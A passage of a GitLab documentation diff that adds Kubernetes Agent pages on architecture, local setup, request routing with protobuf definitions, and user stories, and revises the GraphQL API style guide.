tunnels](https://gitlab.com/gitlab-org/gitlab/-/issues/212810). +- Access API endpoints in a cluster in real time. For an example use case, read + [issue #218220, Allow Prometheus in K8s cluster to be installed manually](https://gitlab.com/gitlab-org/gitlab/-/issues/218220#note_348729266). +- Enable real-time features by pushing information about events happening in a cluster. + For example, you could build a cluster view dashboard to visualize changes in progress + in a cluster. For more information about these efforts, read about the + [Real-Time Working Group](https://about.gitlab.com/company/team/structure/working-groups/real-time/). +- Enable a [cache of Kubernetes objects through informers](https://github.com/kubernetes/client-go/blob/ccd5becdffb7fd8006e31341baaaacd14db2dcb7/tools/cache/shared_informer.go#L34-L183), + kept up-to-date with very low latency. This cache helps you: + + - Reduce or eliminate information propagation latency by avoiding Kubernetes API calls + and polling, and only fetching data from an up-to-date cache. + - Lower the load placed on the Kubernetes API by removing polling. + - Eliminate any rate-limiting errors by removing polling. + - Simplify backend code by replacing polling code with cache access. While it's another + API call, no polling is needed. This example describes [fetching cached data synchronously from the front end](https://gitlab.com/gitlab-org/gitlab/-/issues/217792#note_348582537) instead of fetching data from the Kubernetes API. + +## Architecture of the Kubernetes Agent + +The GitLab Kubernetes Agent and the GitLab Kubernetes Agent Server use +[bidirectional streaming](https://grpc.io/docs/what-is-grpc/core-concepts/#bidirectional-streaming-rpc) +to allow the connection acceptor (the gRPC server, GitLab Kubernetes Agent Server) to +act as a client. The connection acceptor sends requests as gRPC replies. The client-server +relationship is inverted because the connection must be initiated from inside the +Kubernetes cluster to bypass any firewall or NAT the cluster may be located behind. +To learn more about this inversion, read +[issue #212810](https://gitlab.com/gitlab-org/gitlab/-/issues/212810). + +This diagram describes how GitLab (`GitLab RoR`), the GitLab Kubernetes Agent (`agentk`), and the GitLab Kubernetes Agent Server (`kas`) work together. + +```mermaid +graph TB + agentk -- gRPC bidirectional streaming --> kas + + subgraph "GitLab" + kas[kas] + GitLabRoR[GitLab RoR] -- gRPC --> kas + kas -- gRPC --> Gitaly[Gitaly] + kas -- REST API --> GitLabRoR + end + + subgraph "Kubernetes cluster" + agentk[agentk] + end +``` + +- `GitLab RoR` is the main GitLab application. It uses gRPC to talk to `kas`. +- `agentk` is the GitLab Kubernetes Agent. It keeps a connection established to a + `kas` instance, waiting for requests to process. It may also actively send information + about things happening in the cluster. +- `kas` is the GitLab Kubernetes Agent Server, and is responsible for: + - Accepting requests from `agentk`. + - [Authentication of requests](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/identity_and_auth.md) from `agentk` by querying `GitLab RoR`. + - Fetching agent's configuration from a corresponding Git repository by querying Gitaly. + - Matching incoming requests from `GitLab RoR` with existing connections from + the right `agentk`, forwarding requests to it and forwarding responses back. + - (Optional) Sending notifications through ActionCable for events received from `agentk`. + - Polling manifest repositories for [GitOps support](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/gitops.md) by communicating with Gitaly. + +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +To learn more about how the repository is structured, see +[GitLab Kubernetes Agent repository overview](https://www.youtube.com/watch?v=j8CyaCWroUY). + +## Guiding principles + +GitLab prefers to add logic into `kas` rather than `agentk`. `agentk` should be kept +streamlined and small to minimize the need for upgrades. On GitLab.com, `kas` is +managed by GitLab, so upgrades and features can be added without requiring you +to upgrade `agentk` in your clusters. + +`agentk` can't be viewed as a dumb reverse proxy because features are planned to be built +[on top of the cache with informers](https://github.com/kubernetes/client-go/blob/ccd5becdffb7fd8006e31341baaaacd14db2dcb7/tools/cache/shared_informer.go#L34-L183). diff --git a/doc/development/agent/local.md b/doc/development/agent/local.md new file mode 100644 index 00000000000..75d45366238 --- /dev/null +++ b/doc/development/agent/local.md @@ -0,0 +1,58 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Run the Kubernetes Agent locally **(PREMIUM ONLY)** + +You can run `kas` and `agentk` locally to test the [Kubernetes Agent](index.md) yourself. + +1. Create a `cfg.yaml` file from the contents of + [`config_example.yaml`](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/pkg/kascfg/config_example.yaml), or this example: + + ```yaml + agent: + listen: + network: tcp + address: 127.0.0.1:8150 + websocket: false + gitops: + poll_period: "10s" + gitlab: + address: http://localhost:3000 + authentication_secret_file: /Users/tkuah/code/ee-gdk/gitlab/.gitlab_kas_secret + ``` + +1. Create a `token.txt`. This is the token for + [the agent you created](../../user/clusters/agent/index.md#create-an-agent-record-in-gitlab). This file must not contain a newline character. You can create the file with this command: + + ```shell + echo -n "<TOKEN>" > token.txt + ``` + +1. Start the binaries with the following commands: + + ```shell + # Need GitLab to start + gdk start + # Stop GDK's version of kas + gdk stop gitlab-k8s-agent + + # Start kas + bazel run //cmd/kas -- --configuration-file="$(pwd)/cfg.yaml" + ``` + +1. In a new terminal window, run this command to start `agentk`: + + ```shell + bazel run //cmd/agentk -- --kas-address=grpc://127.0.0.1:8150 --token-file="$(pwd)/token.txt" + ``` + +You can also inspect the +[Makefile](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/Makefile) +for more targets. + +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +To learn more about how the repository is structured, see +[GitLab Kubernetes Agent repository overview](https://www.youtube.com/watch?v=j8CyaCWroUY). diff --git a/doc/development/agent/routing.md b/doc/development/agent/routing.md new file mode 100644 index 00000000000..43cc78ccdfb --- /dev/null +++ b/doc/development/agent/routing.md @@ -0,0 +1,223 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Routing `kas` requests in the Kubernetes Agent **(PREMIUM ONLY)** + +This document describes how `kas` routes requests to concrete `agentk` instances. +GitLab must talk to GitLab Kubernetes Agent Server (`kas`) to: + +- Get information about connected agents. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/249560). +- Interact with agents. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/230571). +- Interact with Kubernetes clusters. [Read more](https://gitlab.com/gitlab-org/gitlab/-/issues/240918). + +Each agent connects to an instance of `kas` and keeps an open connection. When +GitLab must talk to a particular agent, a `kas` instance connected to this agent must +be found, and the request routed to it. + +## System design + +For an architecture overview please see +[architecture.md](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/architecture.md). + +```mermaid +flowchart LR + subgraph "Kubernetes 1" + agentk1p1["agentk 1, Pod1"] + agentk1p2["agentk 1, Pod2"] + end + + subgraph "Kubernetes 2" + agentk2p1["agentk 2, Pod1"] + end + + subgraph "Kubernetes 3" + agentk3p1["agentk 3, Pod1"] + end + + subgraph kas + kas1["kas 1"] + kas2["kas 2"] + kas3["kas 3"] + end + + GitLab["GitLab Rails"] + Redis + + GitLab -- "gRPC to any kas" --> kas + kas1 -- register connected agents --> Redis + kas2 -- register connected agents --> Redis + kas1 -- lookup agent --> Redis + + agentk1p1 -- "gRPC" --> kas1 + agentk1p2 -- "gRPC" --> kas2 + agentk2p1 -- "gRPC" --> kas1 + agentk3p1 -- "gRPC" --> kas2 +``` + +For this architecture, this diagram shows a request to `agentk 3, Pod1` for the list of pods: + +```mermaid +sequenceDiagram + GitLab->>+kas1: Get list of running<br />Pods from agentk<br />with agent_id=3 + Note right of kas1: kas1 checks for<br />agent connected with agent_id=3.<br />It does not.<br />Queries Redis + kas1->>+Redis: Get list of connected agents<br />with agent_id=3 + Redis-->-kas1: List of connected agents<br />with agent_id=3 + Note right of kas1: kas1 picks a specific agentk instance<br />to address and talks to<br />the corresponding kas instance,<br />specifying which agentk instance<br />to route the request to. + kas1->>+kas2: Get the list of running Pods<br />from agentk 3, Pod1 + kas2->>+agentk 3 Pod1: Get list of Pods + agentk 3 Pod1->>-kas2: Get list of Pods + kas2-->>-kas1: List of running Pods<br />from agentk 3, Pod1 + kas1-->>-GitLab: List of running Pods<br />from agentk with agent_id=3 +``` + +Each `kas` instance tracks the agents connected to it in Redis. For each agent, it +stores a serialized protobuf object with information about the agent. When an agent +disconnects, `kas` removes all corresponding information from Redis. For both events, +`kas` publishes a notification to a Redis [pub-sub channel](https://redis.io/topics/pubsub). + +Each agent, while logically a single entity, can have multiple replicas (multiple pods) +in a cluster. `kas` accommodates that and records per-replica (generally per-connection) +information. Each open `GetConfiguration()` streaming request is given +a unique identifier which, combined with agent ID, identifies an `agentk` instance. + +gRPC can keep multiple TCP connections open for a single target host. `agentk` only +runs one `GetConfiguration()` streaming request. `kas` uses that connection, and +doesn't see idle TCP connections because they are handled by the gRPC framework. + +Each `kas` instance provides information to Redis, so other `kas` instances can discover and access it. + +Information is stored in Redis with an [expiration time](https://redis.io/commands/expire), +to expire information for `kas` instances that become unavailable. To prevent +information from expiring too quickly, `kas` periodically updates the expiration time +for valid entries. Before terminating, `kas` cleans up the information it adds into Redis. + +When `kas` must atomically update multiple data structures in Redis, it uses +[transactions](https://redis.io/topics/transactions) to ensure data consistency. +Grouped data items must have the same expiration time. + +In addition to the existing `agentk -> kas` gRPC endpoint, `kas` exposes two new, +separate gRPC endpoints for GitLab and for `kas -> kas` requests. Each endpoint +is a separate network listener, making it easier to control network access to endpoints +and allowing separate configuration for each endpoint. + +Databases, like PostgreSQL, aren't used because the data is transient, with no need +to reliably persist it. + +### `GitLab : kas` external endpoint + +GitLab authenticates with `kas` using JWT and the same shared secret used by the +`kas -> GitLab` communication. The JWT issuer should be `gitlab` and the audience +should be `gitlab-kas`. + +When accessed through this endpoint, `kas` plays the role of request router. + +If a request from GitLab comes but no connected agent can handle it, `kas` blocks +and waits for a suitable agent to connect to it or to another `kas` instance. It +stops waiting when the client disconnects, or when some long timeout happens, such +as client timeout. `kas` is notified of new agent connections through a +[pub-sub channel](https://redis.io/topics/pubsub) to avoid frequent polling. +When a suitable agent connects, `kas` routes the request to it. + +### `kas : kas` internal endpoint + +This endpoint is an implementation detail, an internal API, and should not be used +by any other system. It's protected by JWT using a secret, shared among all `kas` +instances. No other system must have access to this secret. + +When accessed through this endpoint, `kas` uses the request itself to determine +which `agentk` to send the request to. It prevents request cycles by only following +the instructions in the request, rather than doing discovery. It's the responsibility +of the `kas` receiving the request from the _external_ endpoint to retry and re-route +requests. This method ensures a single central component for each request can determine +how a request is routed, rather than distributing the decision across several `kas` instances. + +### API definitions + +```proto +syntax = "proto3"; + +import "google/protobuf/timestamp.proto"; + +message KasAddress { + string ip = 1; + uint32 port = 2; +} + +message ConnectedAgentInfo { + // Agent id. + int64 id = 1; + // Identifies a particular agentk->kas connection. Randomly generated when agent connects. + int64 connection_id = 2; + string version = 3; + string commit = 4; + // Pod namespace. + string pod_namespace = 5; + // Pod name. + string pod_name = 6; + // When the connection was established. + google.protobuf.Timestamp connected_at = 7; + KasAddress kas_address = 8; + // What else do we need? +} + +message KasInstanceInfo { + string version = 1; + string commit = 2; + KasAddress address = 3; + // What else do we need? +} + +message ConnectedAgentsForProjectRequest { + int64 project_id = 1; +} + +message ConnectedAgentsForProjectResponse { + // There may 0 or more agents with the same id, depending on the number of running Pods. + repeated ConnectedAgentInfo agents = 1; +} + +message ConnectedAgentsByIdRequest { + int64 agent_id = 1; +} + +message ConnectedAgentsByIdResponse { + repeated ConnectedAgentInfo agents = 1; +} + +// API for use by GitLab. +service KasApi { + // Connected agents for a particular configuration project. + rpc ConnectedAgentsForProject (ConnectedAgentsForProjectRequest) returns (ConnectedAgentsForProjectResponse) { + } + // Connected agents for a particular agent id. + rpc ConnectedAgentsById (ConnectedAgentsByIdRequest) returns (ConnectedAgentsByIdResponse) { + } + // Depends on the need, but here is the call from the example above. + rpc GetPods (GetPodsRequest) returns (GetPodsResponse) { + } +} + +message Pod { + string namespace = 1; + string name = 2; +} + +message GetPodsRequest { + int64 agent_id = 1; + int64 connection_id = 2; +} + +message GetPodsResponse { + repeated Pod pods = 1; +} + +// Internal API for use by kas for kas -> kas calls. +service KasInternal { + // Depends on the need, but here is the call from the example above. + rpc GetPods (GetPodsRequest) returns (GetPodsResponse) { + } +} +``` diff --git a/doc/development/agent/user_stories.md b/doc/development/agent/user_stories.md new file mode 100644 index 00000000000..2929573ffd3 --- /dev/null +++ b/doc/development/agent/user_stories.md @@ -0,0 +1,77 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Kubernetes Agent user stories **(PREMIUM ONLY)** + +The [personas in action](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#user-personas) +for the Kubernetes Agent are: + +- [Sasha, the Software Developer](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#sasha-software-developer). +- [Allison, the Application Operator](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#allison-application-ops). +- [Priyanka, the Platform Engineer](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#priyanka-platform-engineer). + +[Devon, the DevOps engineer](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#devon-devops-engineer) +is intentionally excluded here, as DevOps is more of a role than a persona. + +There are various workflows to support, so some user stories might seem to contradict each other. They don't. + +## Software Developer user stories + +<!-- vale gitlab.FirstPerson = NO --> + +- As a Software Developer, I want to push my code, and move to the next development task, + to work on business applications. +- As a Software Developer, I want to set necessary dependencies and resource requirements + together with my application code, so my code runs fine after deployment. + +<!-- vale gitlab.FirstPerson = YES --> + +## Application Operator user stories + +<!-- vale gitlab.FirstPerson = NO --> + +- As an Application Operator, I want to standardize the deployments used by my teams, + so I can support all teams with minimal effort. +- As an Application Operator, I want to have a single place to define all the deployments, + so I can assure security fixes are applied everywhere. +- As an Application Operator, I want to offer a set of predefined templates to + Software Developers, so they can get started quickly and can deploy to production + without my intervention, and I am not a bottleneck. +- As an Application Operator, I want to know exactly what changes are being deployed, + so I can fulfill my SLAs. +- As an Application Operator, I want deep insights into what versions of my applications + are running and want to be able to debug them, so I can fix operational issues. +- As an Application Operator, I want application code to be automatically deployed + to staging environments when new versions are available. +- As an Application Operator, I want to follow my preferred deployment strategy, + so I can move code into production in a reliable way. +- As an Application Operator, I want review all code before it's deployed into production, + so I can fulfill my SLAs. +- As an Application Operator, I want to be notified before deployment when new code needs my attention, + so I can review it swiftly. + +<!-- vale gitlab.FirstPerson = YES --> + +## Platform Engineer user stories + +<!-- vale gitlab.FirstPerson = NO --> + +- As a Platform Engineer, I want to restrict customizations to preselected values + for Operators, so I can fulfill my SLAs. +- As a Platform Engineer, I want to allow some level of customization to Operators, + so I don't become a bottleneck. +- As a Platform Engineer, I want to define all deployments in a single place, so + I can assure security fixes are applied everywhere. +- As a Platform Engineer, I want to define the infrastructure by code, so my + infrastructure management is testable, reproducible, traceable, and scalable. +- As a Platform Engineer, I want to define various policies that applications must + follow, so that I can fulfill my SLAs. +- As a Platform Engineer, I want approved tooling for log management and persistent storage, + so I can scale, secure, and manage them as needed. +- As a Platform Engineer, I want to be alerted when my infrastructure differs from + its definition, so I can make sure that everything is configured as expected. + +<!-- vale gitlab.FirstPerson = YES --> diff --git a/doc/development/api_graphql_styleguide.md b/doc/development/api_graphql_styleguide.md index 0e81a332d6c..832a89ecac1 100644 --- a/doc/development/api_graphql_styleguide.md +++ b/doc/development/api_graphql_styleguide.md @@ -1,12 +1,12 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GraphQL API style guide -This document outlines the style guide for GitLab's [GraphQL API](../api/graphql/index.md). +This document outlines the style guide for the GitLab [GraphQL API](../api/graphql/index.md). ## How GitLab implements GraphQL @@ -19,7 +19,7 @@ which is exposed as an API endpoint at `/api/graphql`. ## Deep Dive In March 2019, Nick Thomas hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) -on GitLab's [GraphQL API](../api/graphql/index.md) to share his domain specific knowledge +on the GitLab [GraphQL API](../api/graphql/index.md) to share his domain specific knowledge with anyone who may work in this part of the codebase in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=-9L_1MWrjkg), and the slides on [Google Slides](https://docs.google.com/presentation/d/1qOTxpkTdHIp1CRjuTvO-aXg0_rUtzE3ETfLUdnBB5uQ/edit) @@ -44,7 +44,7 @@ add a `HTTP_PRIVATE_TOKEN` header. ## Global IDs -GitLab's GraphQL API uses Global IDs (i.e: `"gid://gitlab/MyObject/123"`) +The GitLab GraphQL API uses Global IDs (i.e: `"gid://gitlab/MyObject/123"`) and never database primary key IDs. Global ID is [a convention](https://graphql.org/learn/global-object-identification/) @@ -154,7 +154,7 @@ Further reading: ### Exposing Global IDs -In keeping with GitLab's use of [Global IDs](#global-ids), always convert +In keeping with the GitLab use of [Global IDs](#global-ids), always convert database primary key IDs into Global IDs when you expose them. All fields named `id` are @@ -179,7 +179,7 @@ end ### Connection types -TIP: **Tip:** +NOTE: For specifics on implementation, see [Pagination implementation](#pagination-implementation). GraphQL uses [cursor based @@ -268,8 +268,8 @@ query($project_path: ID!) { } ``` -To ensure that we get consistent ordering, we will append an ordering on the primary -key, in descending order. This is usually `id`, so basically we will add `order(id: :desc)` +To ensure that we get consistent ordering, we append an ordering on the primary +key, in descending order. This is usually `id`, so we add `order(id: :desc)` to the end of the relation. A primary key _must_ be available on the underlying table. #### Shortcut fields @@ -310,12 +310,12 @@ class MergeRequestPermissionsType < BasePermissionType abilities :admin_merge_request, :update_merge_request, :create_note ability_field :resolve_note, - description: 'Indicates the user can resolve discussions on the merge request' + description: 'Indicates the user can resolve discussions on the merge request.' permission_field :push_to_source_branch, method: :can_push_to_source_branch? end ``` -- **`permission_field`**: Will act the same as `graphql-ruby`'s +- **`permission_field`**: Acts the same as `graphql-ruby`'s `field` method but setting a default description and type and making them non-nullable. These options can still be overridden by adding them as arguments. @@ -323,7 +323,7 @@ end behaves the same way as `permission_field` and the same arguments can be overridden. - **`abilities`**: Allows exposing several abilities defined in our - policies at once. The fields for these will all have be non-nullable + policies at once. The fields for these must all be non-nullable booleans with a default description. ## Feature flags @@ -331,7 +331,7 @@ end Developers can add [feature flags](../development/feature_flags/index.md) to GraphQL fields in the following ways: -- Add the `feature_flag` property to a field. This will allow the field to be _hidden_ +- Add the `feature_flag` property to a field. This allows the field to be _hidden_ from the GraphQL schema when the flag is disabled. - Toggle the return value when resolving the field. @@ -339,7 +339,7 @@ You can refer to these guidelines to decide which approach to use: - If your field is experimental, and its name or type is subject to change, use the `feature_flag` property. -- If your field is stable and its definition will not change, even after the flag is +- If your field is stable and its definition doesn't change, even after the flag is removed, toggle the return value of the field instead. Note that [all fields should be nullable](#nullable-fields) anyway. @@ -347,15 +347,15 @@ You can refer to these guidelines to decide which approach to use: The `feature_flag` property allows you to toggle the field's [visibility](https://graphql-ruby.org/authorization/visibility.html) -within the GraphQL schema. This will remove the field from the schema +within the GraphQL schema. This removes the field from the schema when the flag is disabled. A description is [appended](https://gitlab.com/gitlab-org/gitlab/-/blob/497b556/app/graphql/types/base_field.rb#L44-53) to the field indicating that it is behind a feature flag. -CAUTION: **Caution:** -If a client queries for the field when the feature flag is disabled, the query will -fail. Consider this when toggling the visibility of the feature on or off on +WARNING: +If a client queries for the field when the feature flag is disabled, the query +fails. Consider this when toggling the visibility of the feature on or off on production. The `feature_flag` property does not allow the use of @@ -369,7 +369,7 @@ Example: ```ruby field :test_field, type: GraphQL::STRING_TYPE, null: true, - description: 'Some test field', + description: 'Some test field.', feature_flag: :my_feature_flag ``` @@ -385,7 +385,7 @@ When applying a feature flag to toggle the value of a field, the - State that the value of the field can be toggled by a feature flag. - Name the feature flag. -- State what the field will return when the feature flag is disabled (or +- State what the field returns when the feature flag is disabled (or enabled, if more appropriate). Example: @@ -394,7 +394,7 @@ Example: field :foo, GraphQL::STRING_TYPE, null: true, description: 'Some test field. Will always return `null`' \ - 'if `my_feature_flag` feature flag is disabled' + 'if `my_feature_flag` feature flag is disabled.' def foo object.foo if Feature.enabled?(:my_feature_flag, object) @@ -403,11 +403,11 @@ end ## Deprecating fields and enum values -GitLab's GraphQL API is versionless, which means we maintain backwards +The GitLab GraphQL API is versionless, which means we maintain backwards compatibility with older versions of the API with every change. Rather than removing a field or [enum value](#enums), we need to _deprecate_ it instead. The deprecated parts of the schema can then be removed in a future release -in accordance with [GitLab's deprecation process](../api/graphql/index.md#deprecation-process). +in accordance with the [GitLab deprecation process](../api/graphql/index.md#deprecation-process). Fields and enum values are deprecated using the `deprecated` property. The value of the property is a `Hash` of: @@ -420,12 +420,12 @@ Example: ```ruby field :token, GraphQL::STRING_TYPE, null: true, deprecated: { reason: 'Login via token has been removed', milestone: '10.0' }, - description: 'Token for login' + description: 'Token for login.' ``` The original `description` of the things being deprecated should be maintained, -and should _not_ be updated to mention the deprecation. Instead, the `reason` will -be appended to the `description`. +and should _not_ be updated to mention the deprecation. Instead, the `reason` +is appended to the `description`. ### Deprecation reason style guide @@ -441,7 +441,7 @@ Example: ```ruby field :designs, ::Types::DesignManagement::DesignCollectionType, null: true, deprecated: { reason: 'Use `designCollection`', milestone: '10.0' }, - description: 'The designs associated with this issue', + description: 'The designs associated with this issue.', ``` ```ruby @@ -477,20 +477,20 @@ module Types graphql_name 'TrafficLightState' description 'State of a traffic light' - value 'RED', description: 'Drivers must stop' - value 'YELLOW', description: 'Drivers must stop when it is safe to' - value 'GREEN', description: 'Drivers can start or keep driving' + value 'RED', description: 'Drivers must stop.' + value 'YELLOW', description: 'Drivers must stop when it is safe to.' + value 'GREEN', description: 'Drivers can start or keep driving.' end end ``` -If the enum will be used for a class property in Ruby that is not an uppercase string, -you can provide a `value:` option that will adapt the uppercase value. +If the enum is used for a class property in Ruby that is not an uppercase string, +you can provide a `value:` option that adapts the uppercase value. In the following example: -- GraphQL inputs of `OPENED` will be converted to `'opened'`. -- Ruby values of `'opened'` will be converted to `"OPENED"` in GraphQL responses. +- GraphQL inputs of `OPENED` are converted to `'opened'`. +- Ruby values of `'opened'` are converted to `"OPENED"` in GraphQL responses. ```ruby module Types @@ -498,8 +498,8 @@ module Types graphql_name 'EpicState' description 'State of a GitLab epic' - value 'OPENED', value: 'opened', description: 'An open Epic' - value 'CLOSED', value: 'closed', description: 'An closed Epic' + value 'OPENED', value: 'opened', description: 'An open Epic.' + value 'CLOSED', value: 'closed', description: 'A closed Epic.' end end ``` @@ -523,7 +523,7 @@ module Types description 'Incident severity' ::IssuableSeverity.severities.keys.each do |severity| - value severity.upcase, value: severity, description: "#{severity.titleize} severity" + value severity.upcase, value: severity, description: "#{severity.titleize} severity." end end end @@ -536,7 +536,7 @@ When data to be returned by GraphQL is stored as GraphQL types whenever possible. Avoid using the `GraphQL::Types::JSON` type unless the JSON data returned is _truly_ unstructured. -If the structure of the JSON data varies, but will be one of a set of known possible +If the structure of the JSON data varies, but is one of a set of known possible structures, use a [union](https://graphql-ruby.org/type_definitions/unions.html). An example of the use of a union for this purpose is @@ -562,15 +562,15 @@ We can use GraphQL types like this: ```ruby module Types class ChartType < BaseObject - field :title, GraphQL::STRING_TYPE, null: true, description: 'Title of the chart' - field :data, [Types::ChartDatumType], null: true, description: 'Data of the chart' + field :title, GraphQL::STRING_TYPE, null: true, description: 'Title of the chart.' + field :data, [Types::ChartDatumType], null: true, description: 'Data of the chart.' end end module Types class ChartDatumType < BaseObject - field :x, GraphQL::INT_TYPE, null: true, description: 'X-axis value of the chart datum' - field :y, GraphQL::INT_TYPE, null: true, description: 'Y-axis value of the chart datum' + field :x, GraphQL::INT_TYPE, null: true, description: 'X-axis value of the chart datum.' + field :y, GraphQL::INT_TYPE, null: true, description: 'Y-axis value of the chart datum.' end end ``` @@ -584,7 +584,7 @@ A description of a field or argument is given using the `description:` keyword. For example: ```ruby -field :id, GraphQL::ID_TYPE, description: 'ID of the resource' +field :id, GraphQL::ID_TYPE, description: 'ID of the resource.' ``` Descriptions of fields and arguments are viewable to users through: @@ -605,20 +605,20 @@ descriptions: this field do?". Example: `'Indicates project has a Git repository'`. - Always include the word `"timestamp"` when describing an argument or field of type `Types::TimeType`. This lets the reader know that the - format of the property will be `Time`, rather than just `Date`. -- No `.` at end of strings. + format of the property is `Time`, rather than just `Date`. +- Must end with a period (`.`). Example: ```ruby -field :id, GraphQL::ID_TYPE, description: 'ID of the Issue' -field :confidential, GraphQL::BOOLEAN_TYPE, description: 'Indicates the issue is confidential' -field :closed_at, Types::TimeType, description: 'Timestamp of when the issue was closed' +field :id, GraphQL::ID_TYPE, description: 'ID of the issue.' +field :confidential, GraphQL::BOOLEAN_TYPE, description: 'Indicates the issue is confidential.' +field :closed_at, Types::TimeType, description: 'Timestamp of when the issue was closed.' ``` ### `copy_field_description` helper -Sometimes we want to ensure that two descriptions will always be identical. +Sometimes we want to ensure that two descriptions are always identical. For example, to keep a type field description the same as a mutation argument when they both represent the same property. @@ -641,13 +641,13 @@ abilities as in the Rails app. If the: - Currently authenticated user fails the authorization, the authorized - resource will be returned as `null`. -- Resource is part of a collection, the collection will be filtered to + resource is returned as `null`. +- Resource is part of a collection, the collection is filtered to exclude the objects that the user's authorization checks failed against. Also see [authorizing resources in a mutation](#authorizing-resources). -TIP: **Tip:** +NOTE: Try to load only what the currently authenticated user is allowed to view with our existing finders first, without relying on authorization to filter the records. This minimizes database queries and unnecessary @@ -656,7 +656,7 @@ authorization checks of the loaded records. ### Type authorization Authorize a type by passing an ability to the `authorize` method. All -fields with the same type will be authorized by checking that the +fields with the same type is authorized by checking that the currently authenticated user has the required ability. For example, the following authorization ensures that the currently @@ -785,7 +785,7 @@ end You should never re-use resolvers directly. Resolvers have a complex life-cycle, with authorization, readiness and resolution orchestrated by the framework, and at -each stage lazy values can be returned to take advantage of batching +each stage [lazy values](#laziness) can be returned to take advantage of batching opportunities. Never instantiate a resolver or a mutation in application code. Instead, the units of code reuse are much the same as in the rest of the @@ -803,6 +803,32 @@ overhead. If you are writing: - A `Mutation`, feel free to lookup objects directly. - A `Resolver` or methods on a `BaseObject`, then you want to allow for batching. +### Error handling + +Resolvers may raise errors, which will be converted to top-level errors as +appropriate. All anticipated errors should be caught and transformed to an +appropriate GraphQL error (see +[`Gitlab::Graphql::Errors`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/graphql/errors.rb)). +Any uncaught errors will be suppressed and the client will receive the message +`Internal service error`. + +The one special case is permission errors. In the REST API we return +`404 Not Found` for any resources that the user does not have permission to +access. The equivalent behavior in GraphQL is for us to return `null` for +all absent or unauthorized resources. +Query resolvers **should not raise errors for unauthorized resources**. + +The rationale for this is that clients must not be able to distinguish between +the absence of a record and the presence of one they do not have access to. To +do so is a security vulnerability, since it leaks information we want to keep +hidden. + +In most cases you don't need to worry about this - this is handled correctly by +the resolver field authorization we declare with the `authorize` DSL calls. If +you need to do something more custom however, remember, if you encounter an +object the `current_user` does not have access to when resolving a field, then +the entire field should resolve to `null`. + ### Deriving resolvers (`BaseResolver.single` and `BaseResolver.last`) For some simple use cases, we can derive resolvers from others. @@ -889,8 +915,8 @@ Then we can use these resolver on fields: ```ruby # In PipelineType -field :jobs, resolver: JobsResolver, description: 'All jobs' -field :job, resolver: JobsResolver.single, description: 'A single job' +field :jobs, resolver: JobsResolver, description: 'All jobs.' +field :job, resolver: JobsResolver.single, description: 'A single job.' ``` ### Correct use of `Resolver#ready?` @@ -922,7 +948,7 @@ before calling `resolve`! An example can be seen in our [`GraphQLHelpers`](https The full query is known in advance during execution, which means we can make use of [lookahead](https://graphql-ruby.org/queries/lookahead.html) to optimize our -queries, and batch load associations we know we will need. Consider adding +queries, and batch load associations we know we need. Consider adding lookahead support in your resolvers to avoid `N+1` performance issues. To enable support for common lookahead use-cases (pre-loading associations when @@ -965,7 +991,7 @@ to advertise the need for lookahead: field :my_things, MyThingType.connection_type, null: true, extras: [:lookahead], # Necessary resolver: MyThingResolver, - description: 'My things' + description: 'My things.' ``` For an example of real world use, please @@ -996,7 +1022,7 @@ When using resolvers, they can and should serve as the SSoT for field metadata. All field options (apart from the field name) can be declared on the resolver. These include: -- `type` (this is particularly important, and will soon be mandatory) +- `type` (this is particularly important, and is planned to be mandatory) - `extras` - `description` @@ -1034,7 +1060,7 @@ To find the parent object in your `Presenter` class: field :computed_field, SomeType, null: true, method: :my_computing_method, extras: [:parent], # Necessary - description: 'My field description' + description: 'My field description.' field :resolver_field, resolver: SomeTypeResolver @@ -1042,7 +1068,7 @@ To find the parent object in your `Presenter` class: extras [:parent] type SomeType, null: true - description 'My field description' + description 'My field description.' ``` 1. Declare your field's method in your Presenter class and have it accept the `parent` keyword argument. @@ -1080,7 +1106,7 @@ are returned as the result of the mutation. #### Update mutation granularity -GitLab's service-oriented architecture means that most mutations call a Create, Delete, or Update +The service-oriented architecture in GitLab means that most mutations call a Create, Delete, or Update service, for example `UpdateMergeRequestService`. For Update mutations, a you might want to only update one aspect of an object, and thus only need a _fine-grained_ mutation, for example `MergeRequest::SetWip`. @@ -1161,10 +1187,10 @@ Example: ```ruby argument :my_arg, GraphQL::STRING_TYPE, required: true, - description: "A description of the argument" + description: "A description of the argument." ``` -Each GraphQL `argument` defined will be passed to the `#resolve` method +Each GraphQL `argument` defined is passed to the `#resolve` method of a mutation as keyword arguments. Example: @@ -1175,7 +1201,7 @@ def resolve(my_arg:) end ``` -`graphql-ruby` will automatically wrap up arguments into an +`graphql-ruby` wraps up arguments into an [input type](https://graphql.org/learn/schema/#input-types). For example, the @@ -1186,11 +1212,11 @@ defines these arguments 